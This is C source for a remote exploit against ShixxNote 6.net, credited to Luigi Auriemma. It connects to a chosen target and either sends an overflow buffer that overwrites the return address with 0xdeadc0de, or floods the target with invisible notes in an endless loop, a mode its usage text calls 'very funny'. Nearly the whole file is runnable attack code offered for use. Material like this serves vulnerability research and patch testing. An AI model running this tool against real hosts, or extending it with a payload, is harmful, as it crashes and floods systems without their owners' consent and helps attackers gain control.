ShixxNote 6.net Remote Buffer Overflow Exploit

/* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef WIN32     #include <winsock.h>     #include "winerr.h"     #define close   closesocket #else     #include <unistd.h>     #include <sys/socket.h>     #include <sys/types.h>     #include <arpa/inet.h>     #include <netdb.h>     #include <netinet/in.h> #endif #define VER     "0.1" #define PORT    2000 #define EIP     "\xde\xc0\xad\xde"  /* return address = 0xdeadc0de */ #define BOF     "attacker" \                 "~~" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" EIP "aaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \                 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~~~~~~~~~~~~~~~~~~~" #define FLOOD   "~~~~~~~~~~~~~~~~~~~~~~" u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) {     int     sd;     u_short port = PORT;     struct  sockaddr_in peer;     setbuf(stdout, NULL);     fputs("\n"         "ShixxNote 6.net buffer overflow "VER"\n"         "by Luigi Auriemma\n"         "e-mail: aluigi@altervista.org\n"         "web:    http://aluigi.altervista.org\n"         "\n", stdout);     if(argc < 3) {         printf("\nUsage: %s <attack> <server> [port(%d)]\n"             "\n"             "Attack:\n"             "1 = buffer-overflow, the return address will be overwritten with 0xdeadc0de\n"             "2 = silent flood, the remote host will be flooded by tons of invisible notes\n"             "    (very funny attack, moreover if the victim has sounds enabled)\n"             "\n", argv[0], PORT);         exit(1);     } #ifdef WIN32     WSADATA    wsadata;     WSAStartup(MAKEWORD(1,0), &wsadata); #endif     if(argc > 3) port = atoi(argv[3]);     peer.sin_addr.s_addr = resolv(argv[2]);     peer.sin_port        = htons(port);     peer.sin_family      = AF_INET;     printf("- target   %s:%hu\n",         inet_ntoa(peer.sin_addr), port);     if(argv[1][0] == '2') {         for(;;) {             sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);             if(sd < 0) std_err();             if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))               < 0) std_err();             if(send(sd, FLOOD, sizeof(FLOOD) - 1, 0)               < 0) std_err();             close(sd);             fputc('.', stdout);         }     } else {         sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);         if(sd < 0) std_err();         fputs("- connection\n", stdout);         if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))           < 0) std_err();         fputs("- send buffer-overflow data\n", stdout);         if(send(sd, BOF, sizeof(BOF) - 1, 0)           < 0) std_err();         close(sd);     }     printf("- the return address should be overwritten with 0x%08lx\n\n",         *(u_long *)EIP);     return(0); } u_long resolv(char *host) {     struct  hostent *hp;     u_long  host_ip;     host_ip = inet_addr(host);     if(host_ip == INADDR_NONE) {         hp = gethostbyname(host);         if(!hp) {             printf("\nError: Unable to resolve hostname (%s)\n", host);             exit(1);         } else host_ip = *(u_long *)(hp->h_addr);     }     return(host_ip); } #ifndef WIN32     void std_err(void) {         perror("\nError");         exit(1);     } #endif